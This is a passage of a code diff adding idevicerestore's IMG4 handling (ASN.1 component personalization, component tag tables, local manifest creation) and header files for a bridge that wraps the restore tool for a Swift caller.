+ if (data[off++] != (ASN1_CONSTRUCTED | ASN1_SEQUENCE))
+ return NULL;
+
+ // check data size
+ switch (data[off++]) {
+ case 0x84:
+ off += 4;
+ break;
+ case 0x83:
+ off += 3;
+ break;
+ case 0x82:
+ off += 2;
+ break;
+ case 0x81:
+ off += 1;
+ break;
+ default:
+ break;
+ }
+
+ // find the element we are searching
+ for (i = 0; i <= index; i++) {
+ off += asn1_get_element(&data[off], &el_type, &el_size);
+ if (i == index)
+ break;
+ off += el_size;
+ }
+
+ // check element type
+ if (el_type != type)
+ return NULL;
+
+ return &data[off];
+}
+
+static const char *_img4_get_component_tag(const char *compname)
+{
+ struct comp_tags {
+ const char *comp;
+ const char *tag;
+ };
+ const struct comp_tags component_tags[] = {
+ { "ACIBT", "acib" },
+ { "ACIBTLPEM", "lpbt" },
+ { "ACIWIFI", "aciw" },
+ { "ANE", "anef" },
+ { "ANS", "ansf" },
+ { "AOP", "aopf" },
+ { "AVE", "avef" },
+ { "Alamo", "almo" },
+ { "Ap,ANE1", "ane1" },
+ { "Ap,ANE2", "ane2" },
+ { "Ap,ANE3", "ane3" },
+ { "Ap,AudioAccessibilityBootChime", "auac" },
+ { "Ap,AudioBootChime", "aubt" },
+ { "Ap,AudioPowerAttachChime", "aupr" },
+ { "Ap,BootabilityBrainTrustCache", "trbb" },
+ { "Ap,CIO", "ciof" },
+ { "Ap,DCP2", "dcp2" },
+ { "Ap,HapticAssets", "hpas" },
+ { "Ap,LocalBoot", "lobo" },
+ { "Ap,LocalPolicy", "lpol" },
+ { "Ap,NextStageIM4MHash", "nsih" },
+ { "Ap,RecoveryOSPolicyNonceHash", "ronh" },
+ { "Ap,RestoreANE1", "ran1" },
+ { "Ap,RestoreANE2", "ran2" },
+ { "Ap,RestoreANE3", "ran3" },
+ { "Ap,RestoreCIO", "rcio" },
+ { "Ap,RestoreDCP2", "rdc2", },
+ { "Ap,RestoreTMU", "rtmu" },
+ { "Ap,Scorpius", "scpf" },
+ { "Ap,RestoreSecureM3Firmware", "rsm3" },
+ { "Ap,RestoreSecurePageTableMonitor", "rspt" },
+ { "Ap,RestoreTrustedExecutionMonitor", "rtrx" },
+ { "Ap,RestorecL4", "rxcl" },
+ { "Ap,SystemVolumeCanonicalMetadata", "msys" },
+ { "Ap,TMU", "tmuf" },
+ { "Ap,VolumeUUID", "vuid" },
+ { "Ap,rOSLogo1", "rlg1" },
+ { "Ap,rOSLogo2", "rlg2" },
+ { "AppleLogo", "logo" },
+ { "AudioCodecFirmware", "acfw" },
+ { "BatteryCharging", "glyC" },
+ { "BatteryCharging0", "chg0" },
+ { "BatteryCharging1", "chg1" },
+ { "BatteryFull", "batF" },
+ { "BatteryLow0", "bat0" },
+ { "BatteryLow1", "bat1" },
+ { "BatteryPlugin", "glyP" },
+ { "CFELoader", "cfel" },
+ { "CrownFirmware", "crwn" },
+ { "DCP", "dcpf" },
+ { "Dali", "dali" },
+ { "DeviceTree", "dtre" },
+ { "Diags", "diag" },
+ { "EngineeringTrustCache", "dtrs" },
+ { "ExtDCP", "edcp" },
+ { "GFX", "gfxf" },
+ { "Hamm", "hamf" },
+ { "Homer", "homr" },
+ { "ISP", "ispf" },
+ { "InputDevice", "ipdf" },
+ { "KernelCache", "krnl" },
+ { "LLB", "illb" },
+ { "LeapHaptics", "lphp" },
+ { "Liquid", "liqd" },
+ { "LoadableTrustCache", "ltrs" },
+ { "LowPowerWallet0", "lpw0" },
+ { "LowPowerWallet1", "lpw1" },
+ { "LowPowerWallet2", "lpw2" },
+ { "MacEFI", "mefi" },
+ { "MtpFirmware", "mtpf" },
+ { "Multitouch", "mtfw" },
+ { "NeedService", "nsrv" },
+ { "OS", "OS\0\0" },
+ { "OSRamdisk", "osrd" },
+ { "PEHammer", "hmmr" },
+ { "PERTOS", "pert" },
+ { "PHLEET", "phlt" },
+ { "PMP", "pmpf" },
+ { "PersonalizedDMG", "pdmg" },
+ { "RBM", "rmbt" },
+ { "RTP", "rtpf" },
+ { "Rap,SoftwareBinaryDsp1", "sbd1" },
+ { "Rap,RTKitOS", "rkos" },
+ { "Rap,RestoreRTKitOS", "rrko" },
+ { "RecoveryMode", "recm" },
+ { "RestoreANS", "rans" },
+ { "RestoreDCP", "rdcp" },
+ { "RestoreDeviceTree", "rdtr" },
+ { "RestoreExtDCP", "recp" },
+ { "RestoreKernelCache", "rkrn" },
+ { "RestoreLogo", "rlgo" },
+ { "RestoreRTP", "rrtp" },
+ { "RestoreRamDisk", "rdsk" },
+ { "RestoreSEP", "rsep" },
+ { "RestoreTrustCache", "rtsc" },
+ { "SCE", "scef" },
+ { "SCE1Firmware", "sc1f" },
+ { "SEP", "sepi" },
+ { "SIO", "siof" },
+ { "StaticTrustCache", "trst" },
+ { "SystemLocker", "lckr" },
+ { "SystemVolume", "isys" },
+ { "WCHFirmwareUpdater", "wchf" },
+ { "ftap", "ftap" },
+ { "ftsp", "ftsp" },
+ { "iBEC", "ibec" },
+ { "iBSS", "ibss" },
+ { "iBoot", "ibot" },
+ { "iBootData", "ibdt" },
+ { "iBootDataStage1", "ibd1" },
+ { "iBootTest", "itst" },
+ { "rfta", "rfta" },
+ { "rfts", "rfts" },
+ { NULL, NULL }
+ };
+ int i = 0;
+
+ while (component_tags[i].comp) {
+ if (!strcmp(component_tags[i].comp, compname)) {
+ return component_tags[i].tag;
+ }
+ i++;
+ }
+
+ return NULL;
+}
+
+int img4_stitch_component(const char* component_name, const void* component_data, size_t component_size, plist_t parameters, plist_t tss_response, void** img4_data, size_t *img4_size)
+{
+ unsigned char* magic_header = NULL;
+ unsigned int magic_header_size = 0;
+ unsigned char* blob_header = NULL;
+ unsigned int blob_header_size = 0;
+ unsigned char* img4header = NULL;
+ unsigned int img4header_size = 0;
+ unsigned int content_size;
+ unsigned char* outbuf;
+ unsigned char* p;
+ unsigned char* blob = NULL;
+ unsigned int blob_size = 0;
+
+ if (!component_name || !component_data || component_size == 0 || !tss_response || !img4_data || !img4_size) {
+ return -1;
+ }
+
+ if (tss_response_get_ap_img4_ticket(tss_response, &blob, &blob_size) != 0) {
+ logger(LL_ERROR, "%s: Failed to get ApImg4Ticket from TSS response\n", __func__);
+ return -1;
+ }
+
+ logger(LL_INFO, "Personalizing IMG4 component %s...\n", component_name);
+ /* first we need check if we have to change the tag for the given component */
+ const void *tag = asn1_find_element(1, ASN1_IA5_STRING, component_data);
+ if (tag) {
+ logger(LL_DEBUG, "Tag found\n");
+ const char* matches[] = {
+ "RestoreKernelCache",
+ "RestoreDeviceTree",
+ "RestoreSEP",
+ "RestoreLogo",
+ "RestoreTrustCache",
+ "RestoreDCP",
+ "Ap,RestoreDCP2",
+ "Ap,RestoreTMU",
+ "Ap,RestoreCIO",
+ "Ap,DCP2",
+ "Ap,RestoreSecureM3Firmware",
+ "Ap,RestoreSecurePageTableMonitor",
+ "Ap,RestoreTrustedExecutionMonitor",
+ "Ap,RestorecL4",
+ NULL
+ };
+ int i = 0;
+ while (matches[i]) {
+ if (!strcmp(matches[i], component_name)) {
+ const char* comptag = _img4_get_component_tag(component_name);
+ if (comptag) {
+ memcpy((void*)tag, comptag, 4);
+ } else {
+ logger(LL_WARNING, "Cannot find tag for component '%s'\n", component_name);
+ }
+ break;
+ }
+ i++;
+ }
+ } else {
+ logger(LL_ERROR, "Personalization failed for component '%s': Tag not found\n", component_name);
+ return -1;
+ }
+
+ // check if we have a *-TBM entry for the given component
+ unsigned char *additional_data = NULL;
+ unsigned int additional_size = 0;
+ char *tbm_key = malloc(strlen(component_name) + 5);
+ snprintf(tbm_key, strlen(component_name)+5, "%s-TBM", component_name);
+ plist_t tbm_dict = plist_dict_get_item(tss_response, tbm_key);
+ free(tbm_key);
+ uint64_t ucon_size = 0;
+ const char* ucon_data = NULL;
+ uint64_t ucer_size = 0;
+ const char* ucer_data = NULL;
+ if (tbm_dict) {
+ plist_t dt = plist_dict_get_item(tbm_dict, "ucon");
+ if (!dt) {
+ logger(LL_ERROR, "%s: Missing ucon node in %s-TBM dictionary\n", __func__, component_name);
+ return -1;
+ }
+ ucon_data = plist_get_data_ptr(dt, &ucon_size);
+ if (!ucon_data) {
+ logger(LL_ERROR, "%s: Missing ucon data in %s-TBM dictionary\n", __func__, component_name);
+ return -1;
+ }
+ dt = plist_dict_get_item(tbm_dict, "ucer");
+ if (!dt) {
+ logger(LL_ERROR, "%s: Missing ucer data node in %s-TBM dictionary\n", __func__, component_name);
+ return -1;
+ }
+ ucer_data = plist_get_data_ptr(dt, &ucer_size);
+ if (!ucer_data) {
+ logger(LL_ERROR, "%s: Missing ucer data in %s-TBM dictionary\n", __func__, component_name);
+ return -1;
+ }
+ }
+
+ int nonce_slot_required = plist_dict_get_bool(parameters, "RequiresNonceSlot") && (!strcmp(component_name, "SEP") || !strcmp(component_name, "SepStage1") || !strcmp(component_name, "LLB"));
+
+ if (ucon_data || ucer_data || nonce_slot_required) {
+ size_t im4r_size = 16;
+ if (ucon_data) {
+ im4r_size += 8 + 8 + ucon_size + 16;
+ }
+ if (ucer_data) {
+ im4r_size += 8 + 8 + ucer_size + 16;
+ }
+ if (nonce_slot_required) {
+ im4r_size += 16;
+ }
+ unsigned char *im4rset = (unsigned char*)malloc(im4r_size);
+ unsigned char *p_im4rset = im4rset;
+ unsigned int im4rlen = 0;
+
+ // ----------- anid/snid -------
+ if (nonce_slot_required) {
+ const char* tag_name = NULL;
+ uint64_t tag_value = 0;
+ if (!strcmp(component_name, "SEP") || !strcmp(component_name, "SepStage1")) {
+ tag_name = "snid";
+ tag_value = 2;
+ if (plist_dict_get_item(parameters, "SepNonceSlotID")) {
+ tag_value = plist_dict_get_uint(parameters, "SepNonceSlotID");
+ }
+ } else {
+ tag_name = "anid";
+ tag_value = 0;
+ if (plist_dict_get_item(parameters, "ApNonceSlotID")) {
+ tag_value = plist_dict_get_uint(parameters, "ApNonceSlotID");
+ }
+ }
+ // write priv anid/snid element
+ asn1_write_priv_element(&p_im4rset, &im4rlen, __bswap_32(*(uint32_t*)tag_name));
+ // write anid/snid IA5STRING and anid/snid value
+ unsigned char inner_seq[16];
+ unsigned char *p_inner_seq = &inner_seq[0];
+ unsigned int inner_seq_hdr_len = 0;
+ asn1_write_element(&p_inner_seq, &inner_seq_hdr_len, ASN1_IA5_STRING, (void*)tag_name, -1);
+ asn1_write_element(&p_inner_seq, &inner_seq_hdr_len, ASN1_INTEGER, (void*)&tag_value, -1);
+
+ // write anid/snid sequence
+ unsigned char elem_seq[8];
+ unsigned char *p = &elem_seq[0];
+ unsigned int seq_hdr_len = 0;
+ asn1_write_element_header(ASN1_SEQUENCE | ASN1_CONSTRUCTED, inner_seq_hdr_len, &p, &seq_hdr_len);
+
+ // add size to priv anid/snid element
+ asn1_write_size(inner_seq_hdr_len + seq_hdr_len, &p_im4rset, &im4rlen);
+
+ // put it together
+ memcpy(p_im4rset, elem_seq, seq_hdr_len);
+ p_im4rset += seq_hdr_len;
+ im4rlen += seq_hdr_len;
+ memcpy(p_im4rset, inner_seq, inner_seq_hdr_len);
+ p_im4rset += inner_seq_hdr_len;
+ im4rlen += inner_seq_hdr_len;
+ }
+
+ // ----------- ucon ------------
+ if (ucon_data) {
+ // write priv ucon element
+ asn1_write_priv_element(&p_im4rset, &im4rlen, *(uint32_t*)"nocu");
+
+ // write ucon IA5STRING and ucon data header
+ unsigned char inner_seq[16];
+ unsigned char *p_inner_seq = &inner_seq[0];
+ unsigned int inner_seq_hdr_len = 0;
+ asn1_write_element(&p_inner_seq, &inner_seq_hdr_len, ASN1_IA5_STRING, (void*)"ucon", -1);
+ asn1_write_element_header(ASN1_OCTET_STRING, ucon_size, &p_inner_seq, &inner_seq_hdr_len);
+
+ // write ucon sequence
+ unsigned char elem_seq[8];
+ unsigned char *p = &elem_seq[0];
+ unsigned int seq_hdr_len = 0;
+ asn1_write_element_header(ASN1_SEQUENCE | ASN1_CONSTRUCTED, inner_seq_hdr_len + ucon_size, &p, &seq_hdr_len);
+
+ // add size to priv ucon element
+ asn1_write_size(inner_seq_hdr_len + ucon_size + seq_hdr_len, &p_im4rset, &im4rlen);
+
+ // put it together
+ memcpy(p_im4rset, elem_seq, seq_hdr_len);
+ p_im4rset += seq_hdr_len;
+ im4rlen += seq_hdr_len;
+ memcpy(p_im4rset, inner_seq, inner_seq_hdr_len);
+ p_im4rset += inner_seq_hdr_len;
+ im4rlen += inner_seq_hdr_len;
+ // write ucon data
+ memcpy(p_im4rset, ucon_data, ucon_size);
+ p_im4rset += ucon_size;
+ im4rlen += ucon_size;
+ }
+
+ // ----------- ucer ------------
+ if (ucer_data) {
+ // write priv ucer element
+ asn1_write_priv_element(&p_im4rset, &im4rlen, *(uint32_t*)"recu");
+
+ // write ucer IA5STRING and ucer data header
+ unsigned char inner_seq[16];
+ unsigned char *p_inner_seq = &inner_seq[0];
+ unsigned int inner_seq_hdr_len = 0;
+ asn1_write_element(&p_inner_seq, &inner_seq_hdr_len, ASN1_IA5_STRING, (void*)"ucer", -1);
+ asn1_write_element_header(ASN1_OCTET_STRING, ucer_size, &p_inner_seq, &inner_seq_hdr_len);
+
+ // write ucer sequence
+ unsigned char elem_seq[8];
+ unsigned char *p = &elem_seq[0];
+ unsigned int seq_hdr_len = 0;
+ asn1_write_element_header(ASN1_SEQUENCE | ASN1_CONSTRUCTED, inner_seq_hdr_len + ucer_size, &p, &seq_hdr_len);
+
+ // add size to priv ucer element
+ asn1_write_size(inner_seq_hdr_len + ucer_size + seq_hdr_len, &p_im4rset, &im4rlen);
+
+ // put it together
+ memcpy(p_im4rset, elem_seq, seq_hdr_len);
+ p_im4rset += seq_hdr_len;
+ im4rlen += seq_hdr_len;
+ memcpy(p_im4rset, inner_seq, inner_seq_hdr_len);
+ p_im4rset += inner_seq_hdr_len;
+ im4rlen += inner_seq_hdr_len;
+ // write ucer data
+ memcpy(p_im4rset, ucer_data, ucer_size);
+ p_im4rset += ucer_size;
+ im4rlen += ucer_size;
+ }
+
+ // now construct IM4R
+
+ /* write inner set */
+ unsigned char inner_set_[8];
+ unsigned char *inner_set = &inner_set_[0];
+ unsigned int inner_set_len = 0;
+ asn1_write_element_header(ASN1_SET | ASN1_CONSTRUCTED, im4rlen, &inner_set, &inner_set_len);
+
+ /* write header values */
+ unsigned char hdrdata_[16];
+ unsigned char *hdrdata = &hdrdata_[0];
+ unsigned int hdrdata_len = 0;
+ asn1_write_element(&hdrdata, &hdrdata_len, ASN1_IA5_STRING, (void*)"IM4R", -1);
+
+ /* write sequence now that we know the entire size */
+ unsigned char seq_[8];
+ unsigned char *seq = &seq_[0];
+ unsigned int seq_len = 0;
+ asn1_write_element_header(ASN1_SEQUENCE | ASN1_CONSTRUCTED, im4rlen + inner_set_len + hdrdata_len, &seq, &seq_len);
+
+ /* write outer cont[1] */
+ unsigned char cont_[8];
+ unsigned char *cont = &cont_[0];
+ unsigned int cont_len = 0;
+ asn1_write_element_header(ASN1_CONTEXT_SPECIFIC | ASN1_CONSTRUCTED | 1, im4rlen + inner_set_len + hdrdata_len + seq_len, &cont, &cont_len);
+
+ // now put everything together
+ additional_data = malloc(im4rlen + inner_set_len + hdrdata_len + seq_len + cont_len);
+ p = additional_data;
+ memcpy(p, cont_, cont_len);
+ p += cont_len;
+ memcpy(p, seq_, seq_len);
+ p += seq_len;
+ memcpy(p, hdrdata_, hdrdata_len);
+ p += hdrdata_len;
+ memcpy(p, inner_set_, inner_set_len);
+ p += inner_set_len;
+ memcpy(p, im4rset, im4rlen);
+ p += im4rlen;
+ additional_size = (unsigned int)(p - additional_data);
+
+ free(im4rset);
+ }
+
+ // create element header for the "IMG4" magic
+ asn1_create_element_header(ASN1_IA5_STRING, IMG4_MAGIC_SIZE, &magic_header, &magic_header_size);
+ // create element header for the blob (ApImg4Ticket)
+ asn1_create_element_header(ASN1_CONTEXT_SPECIFIC|ASN1_CONSTRUCTED, blob_size, &blob_header, &blob_header_size);
+
+ // calculate the size for the final IMG4 file (asn1 sequence)
+ content_size = magic_header_size + IMG4_MAGIC_SIZE + component_size + blob_header_size + blob_size + additional_size;
+
+ // create element header for the final IMG4 asn1 blob
+ asn1_create_element_header(ASN1_SEQUENCE|ASN1_CONSTRUCTED, content_size, &img4header, &img4header_size);
+
+ outbuf = (unsigned char*)malloc(img4header_size + content_size);
+ if (!outbuf) {
+ if (magic_header) {
+ free(magic_header);
+ }
+ if (blob_header) {
+ free(blob_header);
+ }
+ if (img4header) {
+ free(img4header);
+ }
+ free(additional_data);
+ logger(LL_ERROR, "out of memory when personalizing IMG4 component %s\n", component_name);
+ return -1;
+ }
+ p = outbuf;
+
+ // now put everything together
+ memcpy(p, img4header, img4header_size);
+ p += img4header_size;
+ memcpy(p, magic_header, magic_header_size);
+ p += magic_header_size;
+ memcpy(p, IMG4_MAGIC, IMG4_MAGIC_SIZE);
+ p += IMG4_MAGIC_SIZE;
+ memcpy(p, component_data, component_size);
+ p += component_size;
+ memcpy(p, blob_header, blob_header_size);
+ p += blob_header_size;
+ memcpy(p, blob, blob_size);
+ p += blob_size;
+ if (additional_size) {
+ memcpy(p, additional_data, additional_size);
+ p += additional_size;
+ }
+
+ *img4_data = outbuf;
+ *img4_size = (p - outbuf);
+
+ if (magic_header) {
+ free(magic_header);
+ }
+ if (blob_header) {
+ free(blob_header);
+ }
+ if (img4header) {
+ free(img4header);
+ }
+ free(additional_data);
+
+ return 0;
+}
+
+#ifndef __bswap_32
+#define __bswap_32(x) ((((x) & 0xFF000000) >> 24) \
+ | (((x) & 0x00FF0000) >> 8) \
+ | (((x) & 0x0000FF00) << 8) \
+ | (((x) & 0x000000FF) << 24))
+#endif
+
+static void _manifest_write_key_value(unsigned char **p, unsigned int *length, const char *tag, int type, void *value, int size)
+{
+ uint32_t utag = __bswap_32(*(uint32_t*)tag);
+ asn1_write_priv_element(p, length, utag);
+
+ unsigned char *start = *p;
+ unsigned char *outer_start = *p + 5;
+ unsigned char *inner_start = *p + 5 + 6;
+ unsigned int inner_length = 0;
+ asn1_write_element(&inner_start, &inner_length, ASN1_IA5_STRING, (void*)tag, -1);
+ asn1_write_element(&inner_start, &inner_length, type, value, size);
+
+ unsigned int outer_length = 0;
+ unsigned int this_length = 0;
+ if (!value && size > 0) {
+ asn1_write_element_header(ASN1_SEQUENCE | ASN1_CONSTRUCTED, inner_length + size, &outer_start, &outer_length);
+ asn1_write_size(outer_length + inner_length + size, &start, &this_length);
+ } else {
+ asn1_write_element_header(ASN1_SEQUENCE | ASN1_CONSTRUCTED, inner_length, &outer_start, &outer_length);
+ asn1_write_size(outer_length + inner_length, &start, &this_length);
+ }
+
+ memmove(start, outer_start - outer_length, outer_length);
+ outer_start = start + outer_length;
+ *length += this_length;
+ *length += outer_length;
+
+ memmove(outer_start, inner_start - inner_length, inner_length);
+ *length += inner_length;
+
+ *p += this_length + outer_length + inner_length;
+}
+
+static void _manifest_write_component(unsigned char **p, unsigned int *length, const char *tag, plist_t comp)
+{
+ uint32_t utag = __bswap_32(*(uint32_t*)tag);
+ asn1_write_priv_element(p, length, utag);
+
+ unsigned char *start = *p;
+ unsigned char *outer_start = *p + 5;
+ unsigned char *inner_start = *p + 5 + 6;
+ unsigned int inner_length = 0;
+ asn1_write_element(&inner_start, &inner_length, ASN1_IA5_STRING, (void*)tag, -1);
+
+ unsigned char tmp_[512] = { 0, };
+ unsigned int tmp_len = 0;
+ unsigned char *tmp = &tmp_[0];
+
+ plist_t node = NULL;
+ uint8_t boolval = 0;
+
+ node = plist_dict_get_item(comp, "Digest");
+ if (node) {
+ uint64_t digest_len = 0;
+ const char *digest = plist_get_data_ptr(node, &digest_len);
+ if (digest_len > 0) {
+ _manifest_write_key_value(&tmp, &tmp_len, "DGST", ASN1_OCTET_STRING, (void*)digest, digest_len);
+ }
+ }
+
+ node = plist_dict_get_item(comp, "Trusted");
+ if (node) {
+ boolval = 0;
+ plist_get_bool_val(node, &boolval);
+ unsigned int int_bool_val = boolval;
+ _manifest_write_key_value(&tmp, &tmp_len, "EKEY", ASN1_BOOLEAN, &int_bool_val, -1);
+ }
+
+ node = plist_dict_get_item(comp, "EPRO");
+ if (node) {
+ boolval = 0;
+ plist_get_bool_val(node, &boolval);
+ unsigned int int_bool_val = boolval;
+ _manifest_write_key_value(&tmp, &tmp_len, "EPRO", ASN1_BOOLEAN, &int_bool_val, -1);
+ }
+
+ node = plist_dict_get_item(comp, "ESEC");
+ if (node) {
+ boolval = 0;
+ plist_get_bool_val(node, &boolval);
+ unsigned int int_bool_val = boolval;
+ _manifest_write_key_value(&tmp, &tmp_len, "ESEC", ASN1_BOOLEAN, &int_bool_val, -1);
+ }
+
+ node = plist_dict_get_item(comp, "TBMDigests");
+ if (node) {
+ uint64_t datalen = 0;
+ const char *data = plist_get_data_ptr(node, &datalen);
+ const char *tbmtag = NULL;
+ if (!strcmp(tag, "sepi")) {
+ tbmtag = "tbms";
+ } else if (!strcmp(tag, "rsep")) {
+ tbmtag = "tbmr";
+ }
+ if (!tbmtag) {
+ logger(LL_ERROR, "Unexpected TMBDigests for comp '%s'\n", tag);
+ } else {
+ _manifest_write_key_value(&tmp, &tmp_len, tbmtag, ASN1_OCTET_STRING, (void*)data, datalen);
+ }
+ }
+
+ asn1_write_element_header(ASN1_SET | ASN1_CONSTRUCTED, tmp_len, &inner_start, &inner_length);
+ memcpy(inner_start, tmp_, tmp_len);
+ inner_start += tmp_len;
+ inner_length += tmp_len;
+
+ unsigned int outer_length = 0;
+ asn1_write_element_header(ASN1_SEQUENCE | ASN1_CONSTRUCTED, inner_length, &outer_start, &outer_length);
+
+ unsigned int this_length = 0;
+ asn1_write_size(outer_length + inner_length, &start, &this_length);
+
+ memmove(start, outer_start - outer_length, outer_length);
+
+ outer_start = start + outer_length;
+ *length += this_length;
+ *length += outer_length;
+
+ memmove(outer_start, inner_start - inner_length, inner_length);
+
+ *length += inner_length;
+
+ *p += this_length + outer_length + inner_length;
+}
+
+int img4_create_local_manifest(plist_t request, plist_t build_identity, plist_t* manifest)
+{
+ if (!request || !manifest) {
+ return -1;
+ }
+
+ unsigned char *buf = calloc(1, 65536);
+ unsigned char *p = buf;
+ unsigned int length = 0;
+ uint64_t uintval = 0;
+ unsigned int boolval = 0;
+
+ unsigned char tmp_[1024];
+ unsigned char *tmp = &tmp_[0];
+ unsigned int tmp_len = 0;
+
+ /* write manifest properties */
+ uintval = plist_dict_get_uint(request, "ApBoardID");
+ _manifest_write_key_value(&tmp, &tmp_len, "BORD", ASN1_INTEGER, &uintval, -1);
+
+ uintval = 0;
+ _manifest_write_key_value(&tmp, &tmp_len, "CEPO", ASN1_INTEGER, &uintval, -1);
+
+ uintval = plist_dict_get_uint(request, "ApChipID");
+ _manifest_write_key_value(&tmp, &tmp_len, "CHIP", ASN1_INTEGER, &uintval, -1);
+
+ boolval = plist_dict_get_bool(request, "ApProductionMode");
+ _manifest_write_key_value(&tmp, &tmp_len, "CPRO", ASN1_BOOLEAN, &boolval, -1);
+
+ boolval = 0;
+ _manifest_write_key_value(&tmp, &tmp_len, "CSEC", ASN1_BOOLEAN, &boolval, -1);
+
+ uintval = plist_dict_get_uint(request, "ApSecurityDomain");
+ _manifest_write_key_value(&tmp, &tmp_len, "SDOM", ASN1_INTEGER, &uintval, -1);
+
+ /* create manifest properties set */
+ _manifest_write_key_value(&p, &length, "MANP", ASN1_SET | ASN1_CONSTRUCTED, tmp_, tmp_len);
+
+ plist_t component_manifest = NULL;
+ if (build_identity) {
+ component_manifest = plist_dict_get_item(build_identity, "Manifest");
+ }
+
+ /* now write the components */
+ plist_dict_iter iter = NULL;
+ plist_dict_new_iter(request, &iter);
+ char *key = NULL;
+ plist_t val = NULL;
+ do {
+ plist_dict_next_item(request, iter, &key, &val);
+ if (val && plist_get_node_type(val) == PLIST_DICT) {
+ const char *comp = NULL;
+ /* check if component has Img4PayloadType */
+ if (component_manifest) {
+ plist_t img4_comp = plist_access_path(component_manifest, 3, key, "Info", "Img4PayloadType");
+ if (img4_comp) {
+ comp = plist_get_string_ptr(img4_comp, NULL);
+ }
+ }
+ if (!comp) {
+ comp = _img4_get_component_tag(key);
+ }
+ if (!comp) {
+ logger(LL_DEBUG, "%s: Unhandled component '%s'\n", __func__, key);
+ _manifest_write_component(&p, &length, key, val);
+ } else {
+ logger(LL_DEBUG, "found component %s (%s)\n", comp, key);
+ _manifest_write_component(&p, &length, comp, val);
+ }
+ }
+ free(key);
+ } while (val);
+ free(iter);
+
+ /* write manifest body header */
+ unsigned char manb_[32];
+ unsigned char *manb = &manb_[0];
+ unsigned int manb_len = 0;
+ _manifest_write_key_value(&manb, &manb_len, "MANB", ASN1_SET | ASN1_CONSTRUCTED, NULL, length);
+
+ /* write inner set */
+ unsigned char inner_set_[8];
+ unsigned char *inner_set = &inner_set_[0];
+ unsigned int inner_set_len = 0;
+ asn1_write_element_header(ASN1_SET | ASN1_CONSTRUCTED, length + manb_len, &inner_set, &inner_set_len);
+
+ /* write header values */
+ unsigned char hdrdata_[16];
+ unsigned char *hdrdata = &hdrdata_[0];
+ unsigned int hdrdata_len = 0;
+ asn1_write_element(&hdrdata, &hdrdata_len, ASN1_IA5_STRING, (void*)"IM4M", -1);
+ uint64_t intval = 0;
+ asn1_write_element(&hdrdata, &hdrdata_len, ASN1_INTEGER, &intval, -1);
+
+ /* write outer sequence now that we know the entire size */
+ unsigned char seq_[8];
+ unsigned char *seq = &seq_[0];
+ unsigned int seq_len = 0;
+ asn1_write_element_header(ASN1_SEQUENCE | ASN1_CONSTRUCTED, inner_set_len + length + manb_len + hdrdata_len, &seq, &seq_len);
+
+ unsigned int header_len = seq_len + hdrdata_len + inner_set_len + manb_len;
+
+ /* now put everything together */
+ memmove(buf + header_len, buf, length);
+
+ unsigned char *hdr = buf;
+ unsigned int hdr_len = 0;
+
+ memcpy(hdr, seq_, seq_len);
+ hdr += seq_len;
+ hdr_len += seq_len;
+
+ memcpy(hdr, hdrdata_, hdrdata_len);
+ hdr += hdrdata_len;
+ hdr_len += hdrdata_len;
+
+ memcpy(hdr, inner_set_, inner_set_len);
+ hdr += inner_set_len;
+ hdr_len += inner_set_len;
+
+ memcpy(hdr, manb_, manb_len);
+ hdr += manb_len;
+ hdr_len += manb_len;
+
+ length += hdr_len;
+
+ *manifest = plist_new_data((char*)buf, length);
+
+ free(buf);
+
+ return 0;
+}
diff --git a/sources/MobileRestoreCore/img4.h b/sources/MobileRestoreCore/img4.h
new file mode 100644
index 00000000..1c5ef36b
--- /dev/null
+++ b/sources/MobileRestoreCore/img4.h
@@ -0,0 +1,36 @@
+/*
+ * img4.h
+ * Functions for handling the IMG4 format
+ *
+ * Copyright (c) 2013-2019 Nikias Bassen. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef IDEVICERESTORE_IMG4_H
+#define IDEVICERESTORE_IMG4_H
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+int img4_stitch_component(const char* component_name, const void* component_data, size_t component_size, plist_t parameters, plist_t tss_response, void** img4_data, size_t *img4_size);
+int img4_create_local_manifest(plist_t request, plist_t build_identity, plist_t* manifest);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/sources/MobileRestoreCore/include/vphone_restore_bridge.h b/sources/MobileRestoreCore/include/vphone_restore_bridge.h
new file mode 100644
index 00000000..773b6147
--- /dev/null
+++ b/sources/MobileRestoreCore/include/vphone_restore_bridge.h
@@ -0,0 +1,166 @@
+/*
+ * vphone_restore_bridge.h
+ *
+ * The one public header of MobileRestoreCore, and the only thing in this
+ * target's include/ directory. Everything else here — idevicerestore's own
+ * sources, config.h and the libzip stub — is private to the target, so a
+ * Swift caller sees this file and nothing else.
+ *
+ * This is what stands in for upstream's main(): src/idevicerestore.c is
+ * compiled with IDEVICERESTORE_NOMAIN, so its argv parsing, usage text and
+ * signal handling are gone, and vphone_restore_run() below sets up the same
+ * client object from a struct instead of from a command line.
+ *
+ * One restore at a time. idevicerestore keeps its mode, its log level and its
+ * quit flag in process globals, so a second concurrent call would fight the
+ * first over them; vphone_restore_run() refuses with
+ * VPHONE_RESTORE_E_BUSY rather than letting that happen.
+ */
+
+#ifndef VPHONE_RESTORE_BRIDGE_H
+#define VPHONE_RESTORE_BRIDGE_H
+
+#include <stdbool.h>
+#include <stdint.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* --- Logging ----------------------------------------------------------- */
+
+/*
+ * The level on a log line, matching idevicerestore's own `enum loglevel`
+ * one for one. Lower is more severe.
+ */
+typedef enum {
+ VPHONE_RESTORE_LOG_ERROR = 0,
+ VPHONE_RESTORE_LOG_WARNING = 1,
+ VPHONE_RESTORE_LOG_NOTICE = 2,
+ VPHONE_RESTORE_LOG_INFO = 3,
+ VPHONE_RESTORE_LOG_VERBOSE = 4,
+ VPHONE_RESTORE_LOG_DEBUG = 5
+} vphone_restore_log_level_t;
+
+/*
+ * Called for every line idevicerestore produces, with the trailing newline
+ * left on. `message` is owned by the bridge and is only valid for the
+ * duration of the call, so copy anything you keep.
+ *
+ * It is called from whichever thread produced the line, and idevicerestore
+ * does its transfers on worker threads, so an implementation has to be safe
+ * to call concurrently.
+ */
